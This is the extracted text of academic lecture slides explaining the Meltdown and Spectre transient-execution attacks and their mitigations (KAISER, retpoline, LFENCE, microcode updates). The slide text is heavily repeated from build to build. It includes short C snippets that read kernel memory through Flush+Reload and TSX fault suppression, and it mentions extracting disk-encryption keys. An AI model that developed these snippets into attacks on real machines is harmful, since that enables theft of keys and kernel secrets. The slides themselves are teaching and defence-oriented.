Software-based Microarchitectural Attacks: Meltdown and Spectre

Daniel Gruss
September 13, 2018
Graz University of Technology
printf("%d", i);
printf("%d", i);
printf("%d", i);

Cache miss
printf("%d", i);
printf("%d", i);
printf("%d", i);
```c
printf("%d", i);
printf("%d", i);
```
printf("%d", i);
printf("%d", i);
CPU Cache

printf("%d", i);

Cache miss

Cache hit

printf("%d", i);

Request

Response

Daniel Gruss — Graz University of Technology
CPU Cache

```
printf("%d", i);

printf("%d", i);
```

- **Cache miss**
- **Cache hit**

DRAM access, slow
CPU Cache

```
printf("%d", i);
```

**Cache miss**

```
printf("%d", i);
```

**Cache hit**

- **DRAM access**, slow
- No DRAM access, much faster

Daniel Gruss — Graz University of Technology
Flush+Reload

ATTACKER

Shared Memory

VICTIM

flush
access

access
Flush+Reload

ATTACKER

flush

access

Shared Memory

VICTIM

access

Daniel Gruss — Graz University of Technology
Flush+Reload

ATTACKER

flush
access

Shared Memory

VICTIM

access
Flush+Reload

ATTACKER
flush
access

Shared Memory

Victim
access

Daniel Gruss — Graz University of Technology
Flush+Reload

ATTACKER

Shared Memory

VICTIM

flush
access

Shared Memory

access

Daniel Gruss — Graz University of Technology
Flush+Reload

ATTACKER

flush

access

Shared Memory

VICTIM

access
Flush+Reload

ATTACKER

- flush
- access

Shared Memory

VICTIM

- access

fast if victim accessed data, slow otherwise
Memory Access Latency

Access time [CPU cycles]

Number of accesses

Cache Hits
Memory Access Latency

- Cache Hits
- Cache Misses

Access time [CPU cycles]

Number of accesses

- $10^1$
- $10^4$
- $10^7$
Cache Template Attack Demo
int width = 10, height = 5;

float diagonal = sqrt(width * width + height * height);
int area = width * height;

printf("Area %d x %d = %d\n", width, height, area);
Out-of-order Execution

int width = 10, height = 5;
float diagonal = sqrt(width * width + height * height);
int area = width * height;
printf("Area %d x %d = %d\n", width, height, area);

Parallelize

Dependency
Out-of-Order Execution

Instructions are
- fetched and decoded in the front-end
Instructions are

- fetched and decoded in the **front-end**
- dispatched to the **backend**
Instructions are

- fetched and decoded in the front-end
- dispatched to the backend
- processed by individual execution units
char data = *(char*)0xffffffff81a000e0;
printf("%c\n", data);
char data = *(char*)0xfffffffff81a000e0;
printf("%c\n", data);

segfault at ffffffff81a000e0 ip
0000000000400535
sp 00007ffce4a80610 error 5 in reader
Adapted code

*(volatile char*)0;
array[84 * 4096] = 0; // unreachable
Flush+Reload over all pages of the array

Access time [cycles]

Page
Flush+Reload over all pages of the array

This also works on AMD and ARM!
Out-of-order instructions leave microarchitectural traces.
• Out-of-order instructions *leave microarchitectural traces*
  • We can see them for example through the cache
Out-of-order instructions leave microarchitectural traces
- We can see them for example through the cache
- Give such instructions a name: transient instructions
• Out-of-order instructions leave microarchitectural traces
  • We can see them for example through the cache
• Give such instructions a name: transient instructions
• We can indirectly observe the execution of transient instructions
• Combine the two things

```c
char data = *(char*)0xffffffff81a000e0;
array[data * 4096] = 0;
```
Flush+Reload again...

... Meltdown actually works.
- Flush+Reload over all pages of the array

- Index of cache hit reveals data
Building Meltdown

- Flush+Reload over all pages of the array

Index of cache hit reveals data

Permission check is in some cases not fast enough
I SHIT YOU NOT

THERE WAS KERNEL MEMORY ALL OVER THE TERMINAL
used with authorization from Sili-
con Graphics, Inc. However, the a-
uthors make no claim that Mesa is in any w-
ay a compatible replacement for OpenGL or asso-
ciated with Silico-
on Graphics, Inc. 

... This versi-
on of Mesa provi-
des GLX and DRI capabilities: it is capable of.

both direct and indi-
rect rendering. For direct rendering, it can use DRI modul-
es from the libg
• Basic Meltdown code leads to a crash (segfault)
- Basic Meltdown code leads to a crash (segfault)
- How to prevent the crash?
• Basic Meltdown code leads to a crash (segfault)
• How to prevent the crash?

Fault Handling
Fault Suppression
Fault Prevention
Meltdown with Fault Suppression

- Intel TSX to suppress exceptions instead of signal handler

```c
if(xbegin() == XBEGIN_STARTED) {
    char secret = *(char*) 0xffffffff81a000e0;
    array[secret * 4096] = 0;
    xend();
}

for (size_t i = 0; i < 256; i++) {
    if (flush_and_reload(array + i * 4096) == CACHE_HIT) {
        printf("%c\n", i);
    }
}
```
Speculative execution to prevent exceptions

```c
int speculate = rand() % 2;
size_t address = (0xffffffff81a000e0 * speculate) +
    ((size_t)&zero * (1 - speculate));
if (!speculate) {
    char secret = *(char*) address;
    array[secret * 4096] = 0;
}
for (size_t i = 0; i < 256; i++) {
    if (flush_and_reload(array + i * 4096) == CACHE_HIT) {
        printf("%c\n", i);
    }
}
```
• Improve the performance with a NULL pointer dereference
• Improve the performance with a NULL pointer dereference

```c
if(xbegin() == XBEGIN_STARTED) {
    *(volatile char*) 0;
    char secret = *(char*) 0xffffffff81a000e0;
    array[secret * 4096] = 0;
    xend();
}
```
SO YOU ARE TELLING ME
YOU CAN DUMP THE MEMORY STORED IN L1?
WHAT IF I TOLD YOU

YOU CAN LEAK THE ENTIRE MEMORY
• Assumed that one can only read data stored in the L1 with Meltdown
• Assumed that one can only read data stored in the L1 with Meltdown
• Experiment where a thread flushes the value constantly and a thread on a different core reloads the value
• Assumed that one can only read data stored in the L1 with Meltdown

• Experiment where a thread flushes the value constantly and a thread on a different core reloads the value
  • Target data is not in the L1 cache of the attacking core
Assumed that one can only read data **stored in the L1** with Meltdown

Experiment where a thread flushes the value constantly and a thread on a different core reloads the value
  - Target data is not in the L1 cache of the attacking core

We can **still leak** the data at a lower reading rate
• Assumed that one can only read data stored in the L1 with Meltdown
• Experiment where a thread flushes the value constantly and a thread on a different core reloads the value
  • Target data is not in the L1 cache of the attacking core
• We can still leak the data at a lower reading rate
• Meltdown might implicitly cache the data
I'LL JUST QUICKLY DUMP THE ENTIRE MEMORY VIA MELTDOWN
• Dumping the entire physical memory takes some time
Practical attacks

- Dumping the entire physical memory takes some time
  - Not very practical in most scenarios
Practical attacks

• Dumping the entire physical memory takes some time
  • Not very practical in most scenarios
• Can we mount more targeted attacks?
• Open-source utility for disk encryption
VeraCrypt

- Open-source utility for disk encryption
- Fork of TrueCrypt
VeraCrypt

- Open-source utility for disk encryption
- Fork of TrueCrypt
- Cryptographic keys are stored in RAM
VeraCrypt

- Open-source utility for disk encryption
- Fork of TrueCrypt
- Cryptographic keys are stored in RAM
  - With Meltdown, we can extract the keys from DRAM
attacker@meltdown ~/exploit %

victim@meltdown ~ %
Kernel addresses in user space are a problem
• Kernel addresses in user space are a problem
• Why don’t we take the kernel addresses...
...and remove them

- ...and remove them if not needed?
...and remove them

- ...and remove them if not needed?
- User accessible check in hardware is not reliable
Kernel Address Isolation to have Side channels Efficiently Removed
Kernel Address Isolation to have Side channels Efficiently Removed

KAISER /ˈkʌɪzə/  
1. [german] Emperor, ruler of an empire  
2. largest penguin, emperor penguin
Without KAISER:

Shared address space

User memory

Kernel memory

context switch
Without KAISER:

Shared address space

User memory → Kernel memory

0

context switch

-1

With KAISER:

User address space

User memory → Not mapped

0

context switch

addr. space

-1

SMAP + SMEP

Kernel memory

0

addr. space

-1

Interrupt dispatcher

Daniel Gruss — Graz University of Technology
KAISER (Stronger Kernel Isolation) Patches

Our patch Adopted in
Linux Adopted in
Windows Adopted in
OSX/iOS now in every computer

Daniel Gruss — Graz University of Technology
KAISER (Stronger Kernel Isolation) Patches

- Our patch
- Adopted in Linux
KAISER (Stronger Kernel Isolation) Patches

- Our patch
- Adopted in Linux
- Adopted in Windows

Daniel Gruss — Graz University of Technology
KAISER (Stronger Kernel Isolation) Patches

- Our patch
- Adopted in Linux
- Adopted in Windows
- Adopted in OSX/iOS

Daniel Gruss — Graz University of Technology
**KAISER (Stronger Kernel Isolation) Patches**

- Our patch
- Adopted in Linux
- Adopted in Windows
- Adopted in OSX/iOS

→ *now in every computer*
Boot from ROM...
early console in extract kernel
input_data: 0x00000000001e0a276
input_len: 0x00000000003d48f8
output: 0x0000000001000000
output_len: 0x000000000011bc258
kernel_total_size: 0x0000000001dec000
booted via startup_32()
Physical KASLR using RDTSC...
Virtual KASLR using RDTSC...

Decompressing Linux... Parsing ELF... Performing relocations... done.
Booting the kernel.

UI Terminal Fault

Run reader <PFN> [<cache miss threshold>] to leak hypervisor data from the L1
Either:

- Hyperthreading: only schedule mutually trusting threads on the same physical core.
- Context switch: flush L1 when switching to guest.

Or:
- Disable EPTs.
Mitigating L1TF/Foreshadow

Either:

- hyperthreading: only schedule mutually trusting threads on same physical core
Either:

- hyperthreading: only schedule mutually trusting threads on same physical core
- context switch: flush L1 when switching to guest
Mitigating L1TF/Foreshadow

Either:
- hyperthreading: only schedule mutually trusting threads on same physical core
- context switch: flush L1 when switching to guest

Or:
Mitigating L1TF/Foreshadow

Either:

- hyperthreading: only schedule mutually trusting threads on same physical core
- context switch: flush L1 when switching to guest

Or:

- disable EPTs
index = 0;

char* data = "textKEY";

if (index < 4)

then
LUT[data[index] * 4096]

else
0

Prediction
index = 0;

char* data = "textKEY";

if (index < 4)
    Prediction
else
    LUT[data[index] * 4096]

0
index = 0;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
Prediction
Speculate
0
index = 0;
char* data = "textKEY";

if (index < 4)
  
then
  LUT[data[index] * 4096]

else
  Prediction

  0

Daniel Gruss — Graz University of Technology
index = 1;

char* data = "textKEY";

if (index < 4)
    then
        Prediction
        LUT[data[index] * 4096]
    else
        0
index = 1;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0
index = 1;

char* data = "textKEY";

if (index < 4)
    Speculate
else
    Prediction

LUT[data[index] * 4096]
index = 1;
char* data = "textKEY";

if (index < 4)
    then LUT[data[index] * 4096]
else 0
index = 2;

char* data = "textKEY";

if (index < 4)
  then
    LUT[data[index] * 4096]
  else
    Prediction
    0

Daniel Gruss — Graz University of Technology
index = 2;

char* data = "textKEY";

if (index < 4)
    then
        LUT[data[index] * 4096]
    else
        0

Prediction
Spectre (variant 1)

```c
index = 2;
char* data = "textKEY";
if (index < 4)
    Speculate
    then
    LUT[data[index] * 4096]
else
    Prediction
    0
```

Daniel Gruss — Graz University of Technology
index = 2;
char* data = "textKEY";

if (index < 4)

    then

        LUT[data[index] * 4096]

    end

else

    Prediction

    0
index = 3;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0

Prediction
index = 3;

char* data = "textKEY";

if (index < 4)
    then
        LUT[data[index] * 4096]
    else
        0
index = 3;

char* data = "textKEY";

if (index < 4)

Speculate
then
LUT[data[index] * 4096]
else
Prediction
0
index = 3;

char* data = "textKEY";

if (index < 4)
then

LUT[data[index] * 4096]

else

0
index = 4;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
0

Prediction
index = 4;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0

Prediction
index = 4;

char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096]

else

Prediction

0

Speculate

then
index = 4;

char* data = "textKEY";

if (index < 4)
  Prediction
then
  LUT[data[index] * 4096]
else
  0

Execute
index = 5;

char* data = "textKEY";

if (index < 4)
    then
        LUT[data[index] * 4096]
    else
        Prediction
        0

Daniel Gruss — Graz University of Technology
index = 5;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0
index = 5;

char* data = "textKEY";

if (index < 4)
    Speculate
    then
    LUT[data[index] * 4096]

else
    Prediction
    0

Daniel Gruss — Graz University of Technology
index = 5;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
Prediction

Execute
index = 6;

char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096]

else

Prediction

0
index = 6;

char* data = "textKEY";

if (index < 4)
    Prediction
    LUT[data[index] * 4096] 0
index = 6;

char* data = "textKEY";

if (index < 4)
    Speculate
    then
    LUT[data[index] * 4096]
else
    Prediction
    0

Daniel Gruss — Graz University of Technology
index = 6;

char* data = "textKEY";

if (index < 4)
    then
        LUT[data[index] * 4096]
    else
        Prediction
            Execute
                0
```
index = 0;

index = index & 0x3; // sanitization

char* data = "textKEY";
```

```
LUT[data[index] * 4096]
```

consider

Prediction

ignore

```
LUT[data[index] * 4096]
```
index = 0;

index = index & 0x3;  // sanitization

char* data = "textKEY";

Prediction

```c
index = 0;
index = index & 0x3; // sanitization
char* data = "textKEY";
LUT[data[index] * 4096]
```
index = 0;

index = index & 0x3;  // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]  // consider

LUT[data[index] * 4096]  // ignore
index = 1;

index = index & 0x3; // sanitization

char* data = "textKEY";
Spectre (variant 4)

index = 1;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]

Prediction

consider

LUT[data[index] * 4096]

ignore
index = 1;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]
index = 1;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]
index = 2;

index = index & 0x3; // sanitization

char* data = "textKEY";

Spectre (variant 4)

```c
index = 2;
index = index & 0x3;  // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]
```

Daniel Gruss — Graz University of Technology
index = 2;

index = index & 0x3; // sanitization

char* data = "textKEY";
Spectre (variant 4)

```
index = 2;

index = index & 0x3; // sanitization

char* data = "textKEY";
```

Prediction

- consider
- ignore

LUT[data[index] * 4096]
LUT[data[index] * 4096]
index = 3;

index = index & 0x3; // sanitization

char* data = "textKEY";
index = 3;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]
Spectre (variant 4)

```c
index = 3;

index = index & 0x3; // sanitization

char* data = "textKEY";
```

LUT[data[index] * 4096]

consider

ignore

Prediction

Speculate

LUT[data[index] * 4096]
index = 3;

index = index & 0x3;  // sanitization

char* data = "textKEY";

index = 4;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]

consider Prediction

ignore

LUT[data[index] * 4096]
index = 4;

index = index & 0x3; // sanitization

char* data = "textKEY";

consider

Prediction

LUT[data[index] * 4096]

ignore

LUT[data[index] * 4096]
Spectre (variant 4)

```c
index = 4;
index = index & 0x3; // sanitization

char* data = "textKEY";
```

Diagram:
- Consider
- Prediction
- Ignore

LUT[data[index] * 4096]

Daniel Gruss — Graz University of Technology
index = 4;

index = index & 0x3; // sanitization

char* data = "textKEY";
index = 5;

index = index & 0x3; // sanitization

char* data = "textKEY";

index = 5;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]

Prediction

consider

ignore

index = 5;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]
index = 5;

index = index & 0x3; // sanitization

char* data = "textKEY";
index = 6;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]

Prediction

consider

ignore

LUT[data[index] * 4096]
index = 6;

index = index & 0x3;  // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]

Prediction

consider

ignore

LUT[data[index] * 4096]
index = 6;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]
index = 6;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]

LUT[data[index] * 4096]
“Speculative Buffer Overflows”

- Speculatively write to memory locations
- Many more gadgets than previously anticipated
- Very interesting for sandboxes
- Causes some protection mechanisms to fail
“Speculative Buffer Overflows”

- Speculatively write to memory locations which are not writable
- Actually a variant of Meltdown
  - A permission bit is ignored during out-of-order execution
  - But no scenario where it makes sense without speculative execution?
Animal* a = bird;

a->move()
Animal* a = bird;

a->move();

LUT[data[index] * 4096]
Animal* a = bird;

a->move();

fly()

Prediction

LUT[data[index] * 4096]

0

swim()
Animal* a = bird;

a->move();
Animal* a = bird;

a->move()

fly()

fly()

swim()

Prediction

LUT[data[index] * 4096]

0
Animal* a = bird;

a->move();
Animal* a = bird;

a->move()

fly()
fly()
Prediction
swim()

LUT[data[index] * 4096] 0
Animal* a = fish;

a->move()

fly()
fly()
swim()

LUT[data[index] * 4096]

0

Spectre (variant 2)

Daniel Gruss — Graz University of Technology
Animal* a = fish;
a->move();

LUT[data[index] * 4096]

Speculate

fly()

fly()

Prediction

swim()

0
Animal* a = fish;

a->move()

fly()
fly()

LUT[data[index] * 4096]

Prediction

0

swim()
Animal* a = fish;

LUT[data[index] * 4096]
Animal* a = fish;

a->move()

fly()  

swim()  

swim()  

Prediction

LUT[data[index] * 4096]  

0
• “SpectreRSB”

• Similar to Spectre variant 2:
  • Redirect an indirect branch (a return in this case)
  • Fill buffer with “wrong” values
• Trivial approach: disable speculative execution
Mitigating Spectre

- Trivial approach: disable speculative execution
- No wrong speculation if there is no speculation
Mitigating Spectre

- Trivial approach: disable speculative execution
- No wrong speculation if there is no speculation
- Problem: massive performance hit!
Mitigating Spectre

- Trivial approach: disable speculative execution
- No wrong speculation if there is no speculation
- Problem: massive performance hit!
- Also: How to disable it?
• Trivial approach: disable speculative execution
• No wrong speculation if there is no speculation
• Problem: massive performance hit!
• Also: How to disable it?
• Speculative execution is deeply integrated into CPU
Spectre Variant 1 Mitigations

Workaround: insert instructions stopping speculation!

insert after every bounds check

x86: LFENCE, ARM: CSDB

Available on all Intel CPUs, retrofitted to existing ARMv7 and ARMv8.

Daniel Gruss — Graz University of Technology
Spectre Variant 1 Mitigations

- Workaround: insert instructions stopping speculation

[Image of Ghostbusters]
Spectre Variant 1 Mitigations

- Workaround: insert instructions stopping speculation
  - insert after every bounds check
Spectre Variant 1 Mitigations

Workaround: insert instructions stopping speculation

- insert after every bounds check

- x86: LFENCE, ARM: CSDB
Spectre Variant 1 Mitigations

- Workaround: insert instructions stopping speculation
  - insert after every bounds check
- x86: LFENCE, ARM: CSDB
- Available on all Intel CPUs, retrofitted to existing ARMv7 and ARMv8
Speculation barrier requires compiler supported

Already implemented in GCC, LLVM, and MSVC

Can be automated (MSVC)!

not really reliable

Explicit use by programmer:

```
builtin load no speculate
```
• Speculation barrier requires compiler supported
Spectre Variant 1 Mitigations

- Speculation barrier requires compiler supported
- Already implemented in GCC, LLVM, and MSVC
Spectre Variant 1 Mitigations

- Speculation barrier requires compiler supported
- Already implemented in GCC, LLVM, and MSVC
- Can be automated (MSVC) → not really reliable
Speculation barrier requires compiler supported
Already implemented in GCC, LLVM, and MSVC
Can be automated (MSVC) → not really reliable
Explicit use by programmer: __builtin_load_no_speculate
Intel released microcode updates

- Indirect Branch Restricted Speculation (IBRS):

○-□-□-□-□
□-□-□-□-□
□-□-□-□-□
□-□-□-□-□
□-□-□-□-□
Intel released microcode updates

- Indirect Branch Restricted Speculation (IBRS):
  - Do not speculate based on anything before entering IBRS mode
Intel released microcode updates

- Indirect Branch Restricted Speculation (IBRS):
  - Do not speculate based on anything before entering IBRS mode
  - lesser privileged code cannot influence predictions
Intel released microcode updates

- Indirect Branch Restricted Speculation (IBRS):
  - Do not speculate based on anything before entering IBRS mode
  - Lesser privileged code cannot influence predictions

- Indirect Branch Predictor Barrier (IBPB):
Intel released microcode updates

- Indirect Branch Restricted Speculation (IBRS):
  - Do not speculate based on anything before entering IBRS mode
  - Lesser privileged code cannot influence predictions

- Indirect Branch Predictor Barrier (IBPB):
  - Flush branch-target buffer
Intel released microcode updates

- Indirect Branch Restricted Speculation (IBRS):
  - Do not speculate based on anything before entering IBRS mode
  - Lesser privileged code cannot influence predictions

- Indirect Branch Predictor Barrier (IBPB):
  - Flush branch-target buffer

- Single Thread Indirect Branch Predictors (STIBP):
Intel released microcode updates

- Indirect Branch Restricted Speculation (IBRS):
  - Do not speculate based on anything before entering IBRS mode
  - lesser privileged code cannot influence predictions

- Indirect Branch Predictor Barrier (IBPB):
  - Flush branch-target buffer

- Single Thread Indirect Branch Predictors (STIBP):
  - Isolates branch prediction state between two hyperthreads
Retpoline (compiler extension)

```assembly
push call_target
call 1f
2: lfence ; speculation barrier
jmp 2b ; endless loop
1: lea 8(% rsp ), % rsp ; restore stack pointer
ret ; the actual call to <call_target>
```

always predict to enter an endless loop instead of the correct (or wrong) target function

ret may fall-back to the BTB for prediction

microcode patches to prevent that

Daniel Gruss — Graz University of Technology
Retpoline (compiler extension)

```assembly
push <call_target>
call 1f
2: lfence ; speculation barrier
jmp 2b ; endless loop
1: lea 8(%rsp), %rsp ; restore stack pointer
ret ; the actual call to <
call_target>
```

→ always predict to enter an endless loop
Retpoline (compiler extension)

```assembly
push <call_target>
call 1f
2: lfence ; speculation barrier
jmp 2b ; endless loop
1: lea 8(%rsp), %rsp ; restore stack pointer
ret ; the actual call to <
call_target>
```

→ always predict to enter an endless loop

- instead of the correct (or wrong) target function
Retpoline (compiler extension)

```assembly
push <call_target>
call 1f
2: lfence ; speculation barrier
jmp 2b ; endless loop
1: lea 8(%rsp), %rsp ; restore stack pointer
ret ; the actual call to <
call_target>
```

→ always predict to enter an endless loop

- instead of the correct (or wrong) target function → performance?
Retpoline (compiler extension)

```assembly
push <call_target>
call 1f
2: lfence ; speculation barrier
jmp 2b ; endless loop
1: lea 8(%rsp), %rsp ; restore stack pointer
ret ; the actual call to <
call_target>
```

→ always predict to enter an endless loop

- instead of the correct (or wrong) target function →
  performance?

- `ret` may fall-back to the BTB for prediction
Retpoline (compiler extension)

push <call_target>
call 1f
2: lfence ; speculation barrier
   jmp 2b ; endless loop
1: lea 8(%rsp), %rsp ; restore stack pointer
   ret ; the actual call to <call_target>

→ always predict to enter an endless loop
- instead of the correct (or wrong) target function → performance?
- ret may fall-back to the BTB for prediction
→ microcode patches to prevent that
Intel released microcode updates
Spectre Variant 4 Mitigations (Microcode/MSRs)

Intel released microcode updates

- Disable store-to-load-forward speculation
- Performance impact of 2–8%
- Already implicitly patched on some architectures
- RSB stuffing (part of retpoline)
• Prevent access to high-resolution timer
What does not work

- Prevent access to high-resolution timer
  → Own timer using timing thread
What does not work

- Prevent access to high-resolution timer
  → Own timer using timing thread
- Flush instruction only privileged
What does not work

- Prevent access to high-resolution timer
  → Own timer using timing thread
- Flush instruction only privileged
  → Cache eviction through memory accesses
What does not work

- Prevent access to high-resolution timer
  → Own timer using timing thread
- Flush instruction only privileged
  → Cache eviction through memory accesses
- Just move secrets into secure world
What does not work

- Prevent access to high-resolution timer
  → Own timer using timing thread
- Flush instruction only privileged
  → Cache eviction through memory accesses
- Just move secrets into secure world
  → Spectre works on secure enclaves
Meltdown vs. Spectre

Meltdown attacks
- LazyFP (v3.1)
- Foreshadow
- Foreshadow-NG

Out-of-Order Execution
- No prediction required
- Meltdown isolation by ignoring access permissions (e.g., page table bits)
- Practical mitigation in software (e.g., KAISER)

Spectre attacks
- v1, v1.1, v2, v4, SpectreRSB (v5)
- Speculative Execution
- Out-of-Order Execution
- Fundamentally rely on prediction
- Hard to mitigate because it does not violate access permissions
Meltdown vs. Spectre

Meltdown attacks

- Meltdown, LazyFP (v3.1), Foreshadow, Foreshadow-NG, ...

Spectre attacks

- v1, v1.1, v2, v4, SpectreRSB (v5)
Meltdown vs. Spectre

Meltdown attacks

- Meltdown, LazyFP (v3.1), Foreshadow, Foreshadow-NG, ...
- Out-of-Order Execution

Spectre attacks

- v1, v1.1, v2, v4, SpectreRSB (v5)
- Speculative Execution ⊂ Out-of-Order Execution
Meltdown vs. Spectre

Meltdown attacks

- Meltdown, LazyFP (v3.1), Foreshadow, Foreshadow-NG, ...
- Out-of-Order Execution
- no prediction required

Spectre attacks

- v1, v1.1, v2, v4, SpectreRSB (v5)
- Speculative Execution \( \subset \) Out-of-Order Execution
- fundamentally rely on prediction
Meltdown vs. Spectre

Meltdown attacks

- Meltdown, LazyFP (v3.1), Foreshadow, Foreshadow-NG, ...
- Out-of-Order Execution
- no prediction required
→ melt down isolation by ignoring access permissions (e.g., page table bits)

Spectre attacks

- v1, v1.1, v2, v4, SpectreRSB (v5)
- Speculative Execution ⊂ Out-of-Order Execution
- fundamentally rely on prediction
- difficult to mitigate because it does not violate access permissions
Meltdown vs. Spectre

Meltdown attacks

- Meltdown, LazyFP (v3.1), Foreshadow, Foreshadow-NG, ...
- Out-of-Order Execution
- no prediction required

→ melt down isolation by ignoring access permissions (e.g., page table bits)

- practical mitigation in software (e.g., KAISER)

Spectre attacks

- v1, v1.1, v2, v4, SpectreRSB (v5)
- Speculative Execution \(\subset\) Out-of-Order Execution
- fundamentally rely on prediction
- difficult to mitigate because it does not violate access permissions
What do we learn from it?

We have ignored microarchitectural attacks for many many years:
What do we learn from it?

We have ignored microarchitectural attacks for many many years:

- attacks on crypto
We have ignored microarchitectural attacks for many many years:

- attacks on crypto → “software should be fixed”
We have ignored microarchitectural attacks for many many years:

- attacks on crypto $\rightarrow$ “software should be fixed”
- attacks on ASLR
What do we learn from it?

We have ignored microarchitectural attacks for many many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
What do we learn from it?

We have ignored microarchitectural attacks for many many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone
What do we learn from it?

We have ignored microarchitectural attacks for many many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone → “not part of the threat model”
We have ignored microarchitectural attacks for many many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone → “not part of the threat model”
- Rowhammer attacks
What do we learn from it?

We have ignored microarchitectural attacks for many many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone → “not part of the threat model”
- Rowhammer attacks → “only affects cheap sub-standard modules”
We have ignored microarchitectural attacks for many many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone → “not part of the threat model”
- Rowhammer attacks → “only affects cheap sub-standard modules”

→ for years we solely optimized for performance
After learning about a side channel you realize:
After learning about a side channel you realize:

- the side channels were documented in the Intel manual
After learning about a side channel you realize:

- the side channels were documented in the Intel manual
- only now we understand the implications
What do we learn from it?

Motor Vehicle Deaths in U.S. by Year

- Seatbelts
- More Seatbelts
- Airbags
- More Airbags
- ABS
Attacks vs. Defenses

We have a moral obligation to invest more time on defenses than on attacks. However, we often overlook dangerous vulnerabilities like Meltdown and Spectre. Perhaps we don’t know all the problems, or do we know at least the most important subset? Are we hammering on a small subset of problems and ignoring the bigger picture?
• moral obligation to invest more time on defenses than on attacks
• moral obligation to invest more time on defenses than on attacks
• **dangerous:** we overlooked Meltdown and Spectre for decades
• moral obligation to invest more time on defenses than on attacks
• dangerous: we overlooked Meltdown and Spectre for decades
• we don’t know all problems. do we know at least the most important subset?
Attacks vs. Defenses

- moral obligation to invest more time on defenses than on attacks
- dangerous: we overlooked Meltdown and Spectre for decades
- we don’t know all problems. do we know at least the most important subset?
- are we hammering on a small subset of problems and forgot about the bigger picture?
Attacks vs. Defenses

We have a moral obligation to invest more time on defenses than on attacks. We have been missing the Meltdown and Spectre threats for decades. We don’t know all the problems. Do we know at least the most important subset? Are we hammering on a small subset of problems and forgetting about the bigger picture?
Conclusions

- new class of attacks
Conclusions

- new class of attacks
- many problems to solve around microarchitectural attacks and especially transient execution attacks
Conclusions

- new class of attacks
- many problems to solve around microarchitectural attacks and especially transient execution attacks
- dedicate more time into identifying problems and not solely in mitigating known problems
Software-based Microarchitectural Attacks: Meltdown and Spectre

Daniel Gruss

September 13, 2018

Graz University of Technology